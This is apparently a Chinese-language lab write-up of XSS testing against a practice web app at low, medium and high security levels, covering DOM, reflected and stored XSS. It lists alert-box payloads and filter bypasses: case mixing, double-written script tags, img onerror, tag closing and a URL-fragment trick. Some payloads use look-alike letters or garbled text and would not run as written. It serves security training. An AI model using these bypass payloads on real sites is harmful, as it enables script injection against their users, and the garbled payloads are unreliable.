低级模式:
首先选择low模式
dom xss测试
首先提交一个内容来获取default用来进行xss注入,对default后面的值进行修改来实现注入
<script>alert('this is low')</script>
出现弹窗,证明含有xss注入
xss(Reflected)注入:
在文本框中输入<script>alert('this is low xss(reflected)')</script>
出现弹框表示成功
xss(Stored)注入:
<script>alert('this is low xss(stored)')</script>
出现弹框表示成功
Medium模式xss漏洞测试:
xss(Dow)漏洞:
普通注入:
输入<script>alert('this is Medium xss(reflected)')</script>发现没反应,返回的是该页面
大小写绕过:
<sCriPt>alert('this is Medium xss(reflected)')</scriPt>发现也没反应
标签绕过:
<img src=x:alert(alt) οnerrοr=eval(src) alt=xss>
还是没有显示,那应该是需要闭合标签了
尝试闭合标签
</option></select><img src=1 οnerrοr=alert('thisisMediumxss(dom)')>
出现弹框表示成功
代码分析:
通过查看php源码,可以看到会对script语句进行过滤这里把我们的script给if没了(如果发现了script则输入结果自动转为English),但是这是小问题,可以像做反射型和存储型一样换个标签构造一下就ok
xss(Reflected)漏洞测试:
普通注入:
<script>alert('this is Medium xss(reflected)')</script>
发现没成功
大小写注入
<scripT>alert('this is Medium xss(reflected)')</sCRipt>
出现弹框成功表示该页面存在大小写注入
双写注入
<scr<script>ipt>alert('XSS')</scr<script>ipt>
出现弹框,成功
html标签绕过:
<img src=1 οnerrοr=alert('方式')>
出现弹框,说明存在标签注入
xss(Stored)漏洞测试:
<script>alert('this is Med xss(Stored)')</script>
该框中有长度限制
没有出现弹框
对name进行注入,发现有长度限制
修改长度限制
<script>alert('this is Med xss(Stored)')</script>
返回正常,失败
大小写注入
<scriPt>alert('this is Med xss(Stored)')</sCript>
也没有出现弹框
对name进行大小写注入
首先也是修改长度限制
<scriPt>alert('this is Med xss(Stored)')</sCript>
出现弹框,成功,证明name存在大小写注入
标签注入
<img src=1 οnerrοr=alert('标签')>
返回为空
对name进行标签注入
先修改长度限制
<img src=1 οnerrοr=alert('标签')>
成功,name存在标签注入
闭合标签注入
出现弹框表示成功
high模式xss测试
xss(Dow)漏洞测试:
普通注入
<script>alert('this is low xss(dom)')</script>
返回english,失败
大小写绕过
<sCript>alert('this is low xss(dom)')</scriPt>
失败
双写注入
<scr<script>ipt>aleralertt('this is low xss(reflected)')</scr<script>ipt>
失败
标签绕过
<img src=1 οnerrοr=alert('this is high xss(dom)')>
失败
标签闭合注入
</option></select><img src=1 οnerrοr=alert('方式')>
失败
特殊符号绕过
通过查看php源码,可以看到这里直接在服务器后端判断,指定default的值必须为select选择菜单中的值,这里就要用到URL中的一个特殊字符#
,这个字符后的数据不会发送到服务器端,相当于绕过了后端的过滤,不需要与服务端进行交互,直接在客户端处理数据的阶段执行。
#default=<script>alert('this is low xss(Dow)')</script>
出现弹框表示成功
xss(Reflected)漏洞测试:
普通注入
<script>alert('this is low xss(reflected)')</script>
失败
大小写注入
<scRipt>alert('this is low xss(reflected)')</sCript>
失败
双写注入
<scr<script>ipt>aleralertt('this is low xss(reflected)')</scr<script>ipt>
失败
单标签注入
<img src=1 οnerrοr=alert('公司')>
出现弹框,成功存在单标签注入
xss(Stored)漏洞测试:
普通注入
name注入,先修改长度限制
<script>alert('this is low xss(Stored)')</script>
失败
message注入
<script>alert('this is low xss(Stored)')</script>
失败
失败
大小写注入
name注入,修改长度限制
<sCript>alert('this is low xss(Stored)')</scriPt>
失败
message大小写注入
<sCript>alert('this is low xss(Stored)')</scriPt>
失败
双写注入
name注入
<scr<script>ipt>aleralertt('this is high xss(stored)')</scr<script>ipt>
失败
message注入
修改长难度限制
<scr<script>ipt>aleralertt('this is high xss(stored)')</scr<script>ipt>
失败
单标签注入
name注入
<img src=1 οnerrοr=alert('和法国')>
出现弹框,成功,name存在单标签注入
message注入
<img src=1 οnerrοr=alert('和法国')>
失败